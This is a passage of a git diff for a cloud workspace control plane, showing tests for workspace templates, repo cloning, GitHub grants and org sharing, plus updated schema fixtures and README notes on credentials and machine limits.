OVERRIDE: "yes" }, startupScript: null }, - }, - }); - const named = await appRequest(app, "/workspaces", { - ...json({ templateId: template.id, name: "my own name" }), - headers: { Cookie: member.cookie, "Content-Type": "application/json" }, - }); - await expect(named.json()).resolves.toMatchObject({ - workspace: { name: "my own name" }, - }); - const attached = await env.DB.prepare( - `SELECT folder_id, attached_by_membership_id FROM folder_attachments - WHERE workspace_id = ?1 ORDER BY folder_id`, - ).bind(workspace.id).all<{ folder_id: string; attached_by_membership_id: string }>(); - expect(attached.results).toEqual([ - { folder_id: orgFolder, attached_by_membership_id: member.membershipId }, - ]); - - expect((await appRequest(app, `/workspace-templates/${template.id}`, { - method: "DELETE", - headers: { Cookie: member.cookie }, - })).status).toBe(403); - const outsider = await userSession("outsider"); - expect((await appRequest(app, `/workspace-templates/${template.id}`, { - method: "DELETE", - headers: { Cookie: outsider }, - })).status).toBe(404); - expect((await appRequest(app, `/workspace-templates/${template.id}`, { - method: "DELETE", - headers: { Cookie: owner }, - })).status).toBe(204); - await expect(appRequest(app, "/workspace-templates", { - headers: { Cookie: owner }, - }).then((response) => response.json())).resolves.toEqual({ templates: [] }); - // Template deletion never detaches folders from live workspaces. - const survivors = await env.DB.prepare( - "SELECT COUNT(*) AS count FROM folder_attachments WHERE workspace_id = ?1", - ).bind(workspace.id).first("count"); - expect(survivors).toBe(1); - }); - - it("rejects template creates on inaccessible folders and workspace creates missing a machine type", async () => { - const { app } = harness(); - const owner = await operatorSession(app); - const member = await sameOrgSession("limited"); - const privateFolder = await createFolder(app, owner, "private"); - - expect((await appRequest(app, "/workspace-templates", { - ...json({ name: "nope", machineTypeId: "small", folderIds: [privateFolder] }), - headers: { Cookie: member.cookie, "Content-Type": "application/json" }, - })).status).toBe(403); - expect((await appRequest(app, "/workspace-templates", { - ...json({ - name: "bad environment", - machineTypeId: "small", - folderIds: [], - environment: { env: { "NOT-VALID": "x" }, startupScript: null }, - }), - headers: { Cookie: owner, "Content-Type": "application/json" }, - })).status).toBe(400); - expect((await appRequest(app, "/workspaces", { - ...json({ name: "no-machine" }), - headers: { Cookie: owner, "Content-Type": "application/json" }, - })).status).toBe(400); - expect((await appRequest(app, "/workspaces", { - ...json({ templateId: "missing-template" }), - headers: { Cookie: owner, "Content-Type": "application/json" }, - })).status).toBe(404); - }); - - it("keeps the org-default pointer a single admin-gated swap that deletes clear", async () => { - const { app } = harness(); - const owner = await operatorSession(app); - const member = await sameOrgSession("colleague"); - const orgDefault = async (): Promise => - (await env.DB.prepare("SELECT default_template_id FROM orgs WHERE id = 'personal'") - .first<{ default_template_id: string | null }>())?.default_template_id ?? null; - - // Ticking the default is org state: members are refused before any write. - expect((await appRequest(app, "/workspace-templates", { - ...json({ name: "member try", machineTypeId: "small", folderIds: [], isOrgDefault: true }), - headers: { Cookie: member.cookie, "Content-Type": "application/json" }, - })).status).toBe(403); - expect(await env.DB.prepare("SELECT COUNT(*) AS count FROM workspace_templates") - .first("count")).toBe(0); - - const created = await appRequest(app, "/workspace-templates", { - ...json({ name: "starter", machineTypeId: "small", folderIds: [], isOrgDefault: true }), - headers: { Cookie: owner, "Content-Type": "application/json" }, - }); - expect(created.status).toBe(201); - const first = (await created.json<{ template: WorkspaceTemplateView }>()).template; - expect(first.isOrgDefault).toBe(true); - expect(await orgDefault()).toBe(first.id); - - // A second default swaps the single pointer; no sweep, no second default. - const second = (await (await appRequest(app, "/workspace-templates", { - ...json({ name: "newer", machineTypeId: "small", folderIds: [], isOrgDefault: true }), - headers: { Cookie: owner, "Content-Type": "application/json" }, - })).json<{ template: WorkspaceTemplateView }>()).template; - expect(second.isOrgDefault).toBe(true); - const listed = (await (await appRequest(app, "/workspace-templates", { - headers: { Cookie: member.cookie }, - })).json<{ templates: WorkspaceTemplateView[] }>()).templates; - expect(new Map(listed.map(({ id, isOrgDefault }) => [id, isOrgDefault]))).toEqual(new Map([ - [first.id, false], - [second.id, true], - ])); - - // Omitting the field on PUT leaves the org pointer alone — it is org - // state, and a template edit that never mentions it must not move it. - expect((await appRequest(app, `/workspace-templates/${second.id}`, { - ...json({ name: "newer v2", machineTypeId: "small", folderIds: [] }), - method: "PUT", - headers: { Cookie: owner, "Content-Type": "application/json" }, - })).status).toBe(200); - expect(await orgDefault()).toBe(second.id); - - // A member PUT that tries to tick is refused even on their own template. - const memberOwned = (await (await appRequest(app, "/workspace-templates", { - ...json({ name: "member draft", machineTypeId: "small", folderIds: [] }), - headers: { Cookie: member.cookie, "Content-Type": "application/json" }, - })).json<{ template: WorkspaceTemplateView }>()).template; - expect((await appRequest(app, `/workspace-templates/${memberOwned.id}`, { - ...json({ name: "member draft", machineTypeId: "small", folderIds: [], isOrgDefault: true }), - method: "PUT", - headers: { Cookie: member.cookie, "Content-Type": "application/json" }, - })).status).toBe(403); - expect(await orgDefault()).toBe(second.id); - - // False clears only when the pointer is at this template. - expect((await appRequest(app, `/workspace-templates/${first.id}`, { - ...json({ name: "starter", machineTypeId: "small", folderIds: [], isOrgDefault: false }), - method: "PUT", - headers: { Cookie: owner, "Content-Type": "application/json" }, - })).status).toBe(200); - expect(await orgDefault()).toBe(second.id); - expect((await appRequest(app, `/workspace-templates/${second.id}`, { - ...json({ name: "newer v2", machineTypeId: "small", folderIds: [], isOrgDefault: false }), - method: "PUT", - headers: { Cookie: owner, "Content-Type": "application/json" }, - })).status).toBe(200); - expect(await orgDefault()).toBeNull(); - - // Deleting the default auto-clears the pointer rather than dangling it. - expect((await appRequest(app, `/workspace-templates/${second.id}`, { - ...json({ name: "newer v2", machineTypeId: "small", folderIds: [], isOrgDefault: true }), - method: "PUT", - headers: { Cookie: owner, "Content-Type": "application/json" }, - })).status).toBe(200); - expect(await orgDefault()).toBe(second.id); - expect((await appRequest(app, `/workspace-templates/${second.id}`, { - method: "DELETE", - headers: { Cookie: owner }, - })).status).toBe(204); - expect(await orgDefault()).toBeNull(); - }); - - it("validates template repos and force-attaches the github connection", async () => { - const { app } = harness(); - const owner = await operatorSession(app); - const post = (body: object, cookie = owner) => appRequest(app, "/workspace-templates", { - ...json(body), - headers: { Cookie: cookie, "Content-Type": "application/json" }, - }); - - for (const bad of ["no-slash", "owner/name/extra", "owner/", "/name", "owner/na me"]) { - const refused = await post({ - name: "bad repos", - machineTypeId: "small", - folderIds: [], - repos: [bad], - }); - expect(refused.status, bad).toBe(400); - } - expect((await post({ - name: "too many", - machineTypeId: "small", - folderIds: [], - repos: Array.from({ length: 17 }, (_, i) => `owner/repo-${String(i)}`), - })).status).toBe(400); - const collision = await post({ - name: "collision", - machineTypeId: "small", - folderIds: [], - repos: ["acme/app", "blitz/app"], - }); - expect(collision.status).toBe(400); - await expect(collision.json()).resolves.toMatchObject({ - error: expect.stringContaining("clone into the same directory"), - }); - expect(await env.DB.prepare("SELECT COUNT(*) AS count FROM workspace_templates") - .first("count")).toBe(0); - - // Duplicates collapse; the view answers sorted; github rides along. - vi.spyOn(globalThis, "fetch").mockResolvedValue(new Response(null, { status: 200 })); - const created = await post({ - name: "repo starter", - machineTypeId: "small", - folderIds: [], - repos: ["blitzdotdev/blitz-core", "acme/tools", "blitzdotdev/blitz-core"], - connections: [{ provider: "linear" }], - }); - expect(created.status).toBe(201); - const template = (await created.json<{ template: WorkspaceTemplateView }>()).template; - expect(template.repos).toEqual([ - { repo: "acme/tools", private: false }, - { repo: "blitzdotdev/blitz-core", private: false }, - ]); - expect(template.connections).toContainEqual({ provider: "github" }); - expect(template.connections).toContainEqual({ provider: "linear" }); - - // Creation never blocks on connections: no github grant exists, yet the - // create succeeds and the ceiling stipulates github for the workspace - // connections panel to surface. - const instantiated = await appRequest(app, "/workspaces", { - ...json({ templateId: template.id }), - headers: { Cookie: owner, "Content-Type": "application/json" }, - }); - expect(instantiated.status).toBe(201); - const { workspace } = await instantiated.json<{ workspace: WorkspaceView }>(); - expect(workspace.connections).toContain("github"); - - // PUT is a full replace: dropping the repos drops the rows. - expect((await appRequest(app, `/workspace-templates/${template.id}`, { - ...json({ name: "repo starter", machineTypeId: "small", folderIds: [], repos: [] }), - method: "PUT", - headers: { Cookie: owner, "Content-Type": "application/json" }, - })).status).toBe(200); - expect(await env.DB.prepare("SELECT COUNT(*) AS count FROM workspace_template_repos") - .first("count")).toBe(0); - }); - - it("boots a create from a repos template with the detached clone loop", async () => { - const { app, providers } = harness(); - const owner = await operatorSession(app); - vi.spyOn(globalThis, "fetch").mockResolvedValue(new Response(null, { status: 200 })); - - const template = (await (await appRequest(app, "/workspace-templates", { - ...json({ - name: "repo starter", - machineTypeId: "small", - folderIds: [], - repos: ["blitzdotdev/blitz-core", "acme/tools"], - }), - headers: { Cookie: owner, "Content-Type": "application/json" }, - })).json<{ template: WorkspaceTemplateView }>()).template; - - const created = await appRequest(app, "/workspaces", { - ...json({ templateId: template.id }), - headers: { Cookie: owner, "Content-Type": "application/json" }, - }); - expect(created.status).toBe(201); - const workspace = (await created.json<{ workspace: WorkspaceView }>()).workspace; - const userData = providers.userData.get(workspace.id) ?? ""; - expect(userData).toContain( - "[ -d /workspace/blitz-core/.git ] || git clone https://github.com/blitzdotdev/blitz-core /workspace/blitz-core || cloned=false", - ); - expect(userData).toContain( - "[ -d /workspace/tools/.git ] || git clone https://github.com/acme/tools /workspace/tools || cloned=false", - ); - // The workspace owns the list whichever source chose it, so the template - // path lands in the same table the picker path writes. - await expect(env.DB.prepare( - "SELECT repo FROM workspace_repos WHERE workspace_id = ?1 ORDER BY repo", - ).bind(workspace.id).all<{ repo: string }>() - .then((result) => result.results.map(({ repo }) => repo))).resolves.toEqual([ - "acme/tools", - "blitzdotdev/blitz-core", - ]); - - // An ordinary create on the same instance carries none of it. - const plain = await appRequest(app, "/workspaces", { - ...json({ machineTypeId: "small" }), - headers: { Cookie: owner, "Content-Type": "application/json" }, - }); - expect(plain.status).toBe(201); - const plainWorkspace = (await plain.json<{ workspace: WorkspaceView }>()).workspace; - expect(providers.userData.get(plainWorkspace.id) ?? "").not.toContain("git clone"); - expect(await env.DB.prepare( - "SELECT COUNT(*) AS count FROM workspace_repos WHERE workspace_id = ?1", - ).bind(plainWorkspace.id).first("count")).toBe(0); - }); - - it("clones and stores a request repo list when no template is selected", async () => { - const { app, providers } = harness(); - const owner = await operatorSession(app); - // Reachable anonymously, so every repo probes public and no grant is owed. - vi.spyOn(globalThis, "fetch").mockResolvedValue(new Response(null, { status: 200 })); - - const created = await appRequest(app, "/workspaces", { - ...json({ - machineTypeId: "small", - repos: ["blitzdotdev/blitz-core", "acme/tools"], - }), - headers: { Cookie: owner, "Content-Type": "application/json" }, - }); - expect(created.status).toBe(201); - const workspace = (await created.json<{ workspace: WorkspaceView }>()).workspace; - - await expect(env.DB.prepare( - "SELECT repo, private FROM workspace_repos WHERE workspace_id = ?1 ORDER BY repo", - ).bind(workspace.id).all<{ repo: string; private: number }>() - .then((result) => result.results)).resolves.toEqual([ - { repo: "acme/tools", private: 0 }, - { repo: "blitzdotdev/blitz-core", private: 0 }, - ]); - const userData = providers.userData.get(workspace.id) ?? ""; - expect(userData).toContain( - "[ -d /workspace/blitz-core/.git ] || git clone https://github.com/blitzdotdev/blitz-core /workspace/blitz-core || cloned=false", - ); - // Cloning mints through the box git credential helper, so naming repos - // stipulates github exactly as naming them on a template does. - await expect(env.DB.prepare("SELECT manifest FROM workspaces WHERE id = ?1") - .bind(workspace.id).first("manifest")).resolves.toContain("github"); - }); - - it("refuses a create that names both a template and its own repos", async () => { - const { app } = harness(); - const owner = await operatorSession(app); - vi.spyOn(globalThis, "fetch").mockResolvedValue(new Response(null, { status: 200 })); - - const template = (await (await appRequest(app, "/workspace-templates", { - ...json({ - name: "repo starter", - machineTypeId: "small", - folderIds: [], - repos: ["blitzdotdev/blitz-core"], - }), - headers: { Cookie: owner, "Content-Type": "application/json" }, - })).json<{ template: WorkspaceTemplateView }>()).template; - - // Refused, not resolved: a silent winner would turn one UI bug into a - // clone list nobody can explain from the request that produced it. - const both = await appRequest(app, "/workspaces", { - ...json({ templateId: template.id, repos: ["acme/tools"] }), - headers: { Cookie: owner, "Content-Type": "application/json" }, - }); - expect(both.status).toBe(400); - await expect(both.json()).resolves.toMatchObject({ - error: "repos cannot be combined with templateId", - }); - expect(await env.DB.prepare("SELECT COUNT(*) AS count FROM workspaces") - .first("count")).toBe(0); - }); - - it("applies the shared repo validators to a request list", async () => { - const { app } = harness(); - const owner = await operatorSession(app); - const fetch = vi.spyOn(globalThis, "fetch"); - - const cases: Array<[string[], string]> = [ - [["https://github.com/acme/tools"], 'repos entries must be "owner/name"'], - [ - Array.from({ length: 17 }, (_entry, index) => `acme/repo-${String(index)}`), - "repos must have at most 16 entries", - ], - // Both would clone into /workspace/app and fight over the directory. - [["acme/app", "other/app"], "clone into the same directory"], - ]; - for (const [repos, message] of cases) { - const refused = await appRequest(app, "/workspaces", { - ...json({ machineTypeId: "small", repos }), - headers: { Cookie: owner, "Content-Type": "application/json" }, - }); - expect(refused.status, message).toBe(400); - await expect(refused.json(), message).resolves.toMatchObject({ - error: expect.stringContaining(message), - }); - } - // Every one of these is decided at the boundary, before any probe. - expect(fetch).not.toHaveBeenCalled(); - }); - - it("refuses a private request repo to a member who holds only a pasted token", async () => { - const { app } = harness(); - const owner = await operatorSession(app); - expect((await appRequest(app, "/connections/grants/github", { - method: "PUT", - headers: { Cookie: owner, "Content-Type": "application/json" }, - body: JSON.stringify({ - manifestId: "github", - token: "github_pat_test-workspace-repo-owner", - }), - })).status).toBe(204); - vi.spyOn(globalThis, "fetch").mockImplementation(async (_input, init) => ( - new Response(null, { - status: new Headers(init?.headers).has("Authorization") ? 200 : 404, - }) - )); - - const refused = await appRequest(app, "/workspaces", { - ...json({ machineTypeId: "small", repos: ["acme/private-tools"] }), - headers: { Cookie: owner, "Content-Type": "application/json" }, - }); - - expect(refused.status).toBe(409); - await expect(refused.json()).resolves.toMatchObject({ - error: expect.stringContaining("connect GitHub through the App"), - }); - expect(await env.DB.prepare("SELECT COUNT(*) AS count FROM workspace_repos") - .first("count")).toBe(0); - }); - - it("refuses a private template repo until that member connects GitHub", async () => { - const { app, providers } = harness(); - const owner = await operatorSession(app); - const member = await sameOrgSession("private-repo-member"); - expect((await appRequest(app, "/connections/grants/github", { - method: "PUT", - headers: { Cookie: owner, "Content-Type": "application/json" }, - body: JSON.stringify({ - manifestId: "github", - token: "github_pat_test-private-repo-owner", - }), - })).status).toBe(204); - vi.spyOn(globalThis, "fetch").mockImplementation(async (input, init) => { - if (String(input).startsWith("https://github.com/login/oauth/access_token")) { - return Response.json({ - access_token: "ghu_test-private-repo-member", - expires_in: 28_800, - refresh_token: "ghr_test-private-repo-member", - refresh_token_expires_in: 15_897_600, - scope: "", - token_type: "bearer", - }); - } - // The git probe: reachable with a credential, hidden without one, which - // is what "private but reachable" looks like from the transport. - return new Response(null, { - status: new Headers(init?.headers).has("Authorization") ? 200 : 404, - }); - }); - const template = (await (await appRequest(app, "/workspace-templates", { - ...json({ - name: "private starter", - machineTypeId: "small", - folderIds: [], - repos: ["acme/private-tools"], - }), - headers: { Cookie: owner, "Content-Type": "application/json" }, - })).json<{ template: WorkspaceTemplateView }>()).template; - - expect(template.repos).toEqual([{ repo: "acme/private-tools", private: true }]); - await expect(env.DB.prepare( - "SELECT repo, private FROM workspace_template_repos WHERE template_id = ?1", - ).bind(template.id).first()).resolves.toEqual({ repo: "acme/private-tools", private: 1 }); - - const refused = await appRequest(app, "/workspaces", { - ...json({ templateId: template.id }), - headers: { Cookie: member.cookie, "Content-Type": "application/json" }, - }); - expect(refused.status).toBe(409); - await expect(refused.json()).resolves.toMatchObject({ - error: expect.stringContaining("connect GitHub"), - }); - expect(await env.DB.prepare("SELECT COUNT(*) AS count FROM workspaces") - .first("count")).toBe(0); - - const pasted = await appRequest(app, "/connections/grants/github", { - method: "PUT", - headers: { Cookie: member.cookie, "Content-Type": "application/json" }, - body: JSON.stringify({ - manifestId: "github", - token: "github_pat_test-private-repo-member", - }), - }); - expect(pasted.status).toBe(204); - - // A pasted token still buys nothing here. Its reach is whatever the member - // chose on github.com, which the product can neither see nor trust, so the - // clone stays refused until the App grant replaces it. - const stillRefused = await appRequest(app, "/workspaces", { - ...json({ templateId: template.id }), - headers: { Cookie: member.cookie, "Content-Type": "application/json" }, - }); - expect(stillRefused.status).toBe(409); - - await connectGithubApp(app, member.cookie); - - const created = await appRequest(app, "/workspaces", { - ...json({ templateId: template.id }), - headers: { Cookie: member.cookie, "Content-Type": "application/json" }, - }); - expect(created.status).toBe(201); - const workspace = (await created.json<{ workspace: WorkspaceView }>()).workspace; - expect(providers.userData.get(workspace.id) ?? "").toContain( - "git clone https://github.com/acme/private-tools /workspace/private-tools", - ); - }); - - it("resolves org-wide sharing for workspaces and folders and clears it on demand", async () => { - const { app } = harness(); - const owner = await operatorSession(app); - const member = await sameOrgSession("neighbor"); - - const created = await appRequest(app, "/workspaces", { - ...json({ machineTypeId: "small", orgShareRole: "editor" }), - headers: { Cookie: owner, "Content-Type": "application/json" }, - }); - expect(created.status).toBe(201); - const workspace = (await created.json<{ workspace: WorkspaceView }>()).workspace; - - const detail = await appRequest(app, `/workspaces/${workspace.id}`, { - headers: { Cookie: member.cookie }, - }); - expect(detail.status).toBe(200); - await expect(detail.json()).resolves.toMatchObject({ - workspace: { role: "editor", orgShareRole: "editor" }, - }); - expect((await appRequest(app, `/workspaces/${workspace.id}`, { - method: "DELETE", - headers: { Cookie: member.cookie }, - })).status).toBe(403); - - expect((await appRequest(app, `/workspaces/${workspace.id}/org-role`, { - method: "PUT", - headers: { Cookie: owner, "Content-Type": "application/json" }, - body: JSON.stringify({ role: null }), - })).status).toBe(204); - expect((await appRequest(app, `/workspaces/${workspace.id}`, { - headers: { Cookie: member.cookie }, - })).status).toBe(403); - - const folder = await createFolder(app, owner, "handbook"); - const path = `/folders/${folder}/objects/${encodeURIComponent("guide.md")}`; - expect((await appRequest(app, `/folders/${folder}`, { - method: "PATCH", - headers: { Cookie: owner, "Content-Type": "application/json" }, - body: JSON.stringify({ orgRole: "editor" }), - })).status).toBe(204); - expect((await appRequest(app, path, { - method: "PUT", - headers: { Cookie: member.cookie, "x-blitz-mtime": "10" }, - body: "hello", - })).status).toBe(204); - expect((await appRequest(app, `/folders/${folder}`, { - method: "PATCH", - headers: { Cookie: owner, "Content-Type": "application/json" }, - body: JSON.stringify({ orgRole: "viewer" }), - })).status).toBe(204); - expect((await appRequest(app, path, { - method: "PUT", - headers: { Cookie: member.cookie, "x-blitz-mtime": "11" }, - body: "denied", - })).status).toBe(403); - expect((await appRequest(app, `/folders/${folder}/objects`, { - headers: { Cookie: member.cookie }, - })).status).toBe(200); - }); -}); diff --git a/packages/control-plane/test/workspace-tunnels.test.ts b/packages/control-plane/test/workspace-tunnels.test.ts index 0b0fe233..f0f22be3 100644 --- a/packages/control-plane/test/workspace-tunnels.test.ts +++ b/packages/control-plane/test/workspace-tunnels.test.ts @@ -3,12 +3,13 @@ import { rows } from "../core/db.js"; import { CloudflareTunnels } from "../core/compute/cloudflare-tunnels.js"; import { WorkspaceTunnels } from "../core/workspace-tunnels.js"; import { WorkspaceWebAppAuth } from "../core/webapp-tickets.js"; -import type { WorkspaceRow } from "../core/workspaces.js"; +import type { MachineRow } from "../core/workspace-records.js"; import type { WorkspaceView } from "../core/wire.js"; import { appRequest, appWithVmProviders, FakeProviders, + machineIdFor, operatorSession, testRuntime, } from "./helpers.js"; @@ -48,6 +49,9 @@ describe("workspace tunnels", () => { }); expect(created.status).toBe(201); const workspace = (await created.json<{ workspace: WorkspaceView }>()).workspace; + // The tunnel is per MACHINE: a workspace holds one VM per member, and two + // of them cannot answer on one hostname. + const machineId = await machineIdFor(workspace.id); expect(cfCalls).toEqual([ "POST /client/v4/accounts/test-account/cfd_tunnel", @@ -66,7 +70,7 @@ describe("workspace tunnels", () => { headers: { Cookie: cookie }, }); expect(ports.status).toBe(200); - expect(proxied.request?.url).toBe(`https://ws-${workspace.id}.webapp.test/acp/?x=1`); + expect(proxied.request?.url).toBe(`https://ws-${machineId}.webapp.test/acp/?x=1`); const credential = proxied.request?.headers.get("X-Blitz-WebApp-Token") ?? ""; await expect(new WorkspaceWebAppAuth("test-webapp-root-secret").verify( credential, @@ -82,8 +86,8 @@ describe("workspace tunnels", () => { headers: { Cookie: cookie }, }); expect((await destroyed.json<{ workspace: WorkspaceView }>()).workspace.phase).toBe("destroyed"); - const row = (await rows(testRuntime(providers, workspaceTunnels).db, { - q: "SELECT * FROM workspaces WHERE id = ?1", + const row = (await rows(testRuntime(providers, workspaceTunnels).db, { + q: "SELECT * FROM machines WHERE workspace_id = ?1", v: [workspace.id], }))[0]; expect(row?.tunnel_id).toBeNull(); diff --git a/packages/control-plane/test/workspace-volumes.test.ts b/packages/control-plane/test/workspace-volumes.test.ts index 50009d3e..96faa456 100644 --- a/packages/control-plane/test/workspace-volumes.test.ts +++ b/packages/control-plane/test/workspace-volumes.test.ts @@ -23,6 +23,7 @@ const SERVER = { server: { id: 4242, public_net: { ipv4: { ip: "203.0.113.9" } } const CREATE = { workspaceId: "w-1", + machineId: "m-1", machineTypeId: "cx23@hel1", phoneHomeUrl: "https://cp.example/phone-home", userData: "#!/bin/bash", diff --git a/packages/control-plane/wrangler.toml.example b/packages/control-plane/wrangler.toml.example index 8e40db9c..60af2d4e 100644 --- a/packages/control-plane/wrangler.toml.example +++ b/packages/control-plane/wrangler.toml.example @@ -140,6 +140,7 @@ run_worker_first = [ "/invites/*", "/leases/*", "/machine-types", + "/machines/*", "/me", "/members", "/members/*", @@ -159,8 +160,6 @@ run_worker_first = [ "/webapp-state", "/workspace-recipes", "/workspace-recipes/*", - "/workspace-templates", - "/workspace-templates/*", "/workspaces", "/workspaces/*", ] diff --git a/packages/schema/fixtures/connection-pull/README.md b/packages/schema/fixtures/connection-pull/README.md index 49aa102d..09f02f1c 100644 --- a/packages/schema/fixtures/connection-pull/README.md +++ b/packages/schema/fixtures/connection-pull/README.md @@ -20,3 +20,19 @@ or newline anywhere in that set ends a line early and lets the rest read as a statement the control plane never sent. `token-bad-env-name` would print a shell word that is not an identifier. `token-extra-field` is the old delivery key: the box refuses an unknown field rather than guessing what it meant. + +## The workspace plane + +`blitz-cred get ` resolves in two planes (plans/MEMBER-MACHINES.md §4): +the member's own connection grant first, then the workspace's own credential +store. Both answers travel this same wire, so the box needs no second code +path — `token-workspace-credential.json` is a workspace credential served +through it. + +Two things about that fixture are the contract, not decoration. `connection` +is the ENVIRONMENT VARIABLE NAME the agent asked for, because in this plane +the name is the variable; it therefore starts with a letter, which is what +keeps a stored name inside the wire's alphabet. And `expiresAt` is short even +though a stored static has nothing to expire: it says "ask again", which is +the whole delivery model, and it is what makes a revoke take effect on the +next call rather than at the end of a long lease. diff --git a/packages/schema/fixtures/connection-pull/valid/token-workspace-credential.json b/packages/schema/fixtures/connection-pull/valid/token-workspace-credential.json new file mode 100644 index 00000000..528d415d --- /dev/null +++ b/packages/schema/fixtures/connection-pull/valid/token-workspace-credential.json @@ -0,0 +1,10 @@ +{ + "connection": "STRIPE_API_KEY", + "mode": "inject", + "token": "test-only-workspace-credential", + "env": [ + { "name": "STRIPE_API_KEY", "value": "test-only-workspace-credential" } + ], + "header": { "name": "Authorization", "prefix": "Bearer " }, + "expiresAt": 1756000000000 +} diff --git a/packages/schema/fixtures/entitlements/README.md b/packages/schema/fixtures/entitlements/README.md index d4497585..7b819390 100644 --- a/packages/schema/fixtures/entitlements/README.md +++ b/packages/schema/fixtures/entitlements/README.md @@ -34,9 +34,18 @@ it did before entitlements existed. | 404 | Unknown organization, or the secret is unset | `seatLimit` is stored in `org_entitlements.seat_limit`. `vmLimit` is stored in -`orgs.vm_limit` — the existing column the workspace-create path has always -enforced. It is deliberately not copied into the new table: two rows holding -one limit is two answers to one question. +`orgs.vm_limit` — the existing column the create path has always enforced. It +is deliberately not copied into the new table: two rows holding one limit is +two answers to one question. + +**`vmLimit` counts MACHINES, and so does `vmsUsed`.** A workspace is +configuration and costs nothing; a machine is one member's VM and costs money +(plans/MEMBER-MACHINES.md §1). An organization that ran ten one-member +workspaces sees the same number it always did. One that adds a second member +to a workspace now sees the second VM it is actually paying for, and the gate +that refuses is the same predicate — evaluated inside the INSERT that creates +the machine, so two adds racing the last slot cannot both win it. A machine in +any state but `destroyed` holds its slot. `platformCompute` is optional and stored in `org_entitlements.platform_compute` as 0 or 1. It says the organization may run diff --git a/packages/schema/fixtures/workspace-environment/README.md b/packages/schema/fixtures/workspace-environment/README.md deleted file mode 100644 index 12429ed7..00000000 --- a/packages/schema/fixtures/workspace-environment/README.md +++ /dev/null @@ -1,19 +0,0 @@ -# Workspace environment response contract - -The control plane returns exactly `env`, `startupScript`, and `filesReady` from -`GET /workspaces/self/environment`. Environment keys use shell variable syntax, -all values are strings, and `startupScript` is either a bash string or null. - -Three runtimes carry this payload and none of them can share a module: the -control plane's `core/` may only import relatively, and the box actor is built -from a separate workspace. These fixtures are what keeps their limits equal — -at most 50 keys, at most 8 KiB of key and value bytes summed, and a startup -script of at most 64 KiB. - -The TypeScript producer (`control-plane/core/environment.ts`, through the route -it serves) and the Go consumer (`broker/internal/workspace/environment.go`) must -accept every fixture in `valid/` and reject every fixture in `invalid/`. - -The box actor reads only `env` from the copy the broker stores, so it is held to -the `env` fixtures alone: `startup-script-type`, `files-ready-type`, and -`extra-field` are deliberately not its concern. diff --git a/packages/schema/fixtures/workspace-environment/invalid/bad-key.json b/packages/schema/fixtures/workspace-environment/invalid/bad-key.json deleted file mode 100644 index efa5e955..00000000 --- a/packages/schema/fixtures/workspace-environment/invalid/bad-key.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "env": { - "BAD-KEY": "value" - }, - "startupScript": null, - "filesReady": true -} diff --git a/packages/schema/fixtures/workspace-environment/invalid/bad-value.json b/packages/schema/fixtures/workspace-environment/invalid/bad-value.json deleted file mode 100644 index 5dfcb039..00000000 --- a/packages/schema/fixtures/workspace-environment/invalid/bad-value.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "env": { - "PORT": 3000 - }, - "startupScript": null, - "filesReady": true -} diff --git a/packages/schema/fixtures/workspace-environment/invalid/env-too-large.json b/packages/schema/fixtures/workspace-environment/invalid/env-too-large.json deleted file mode 100644 index 2427049f..00000000 --- a/packages/schema/fixtures/workspace-environment/invalid/env-too-large.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "env": { - "LARGE": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx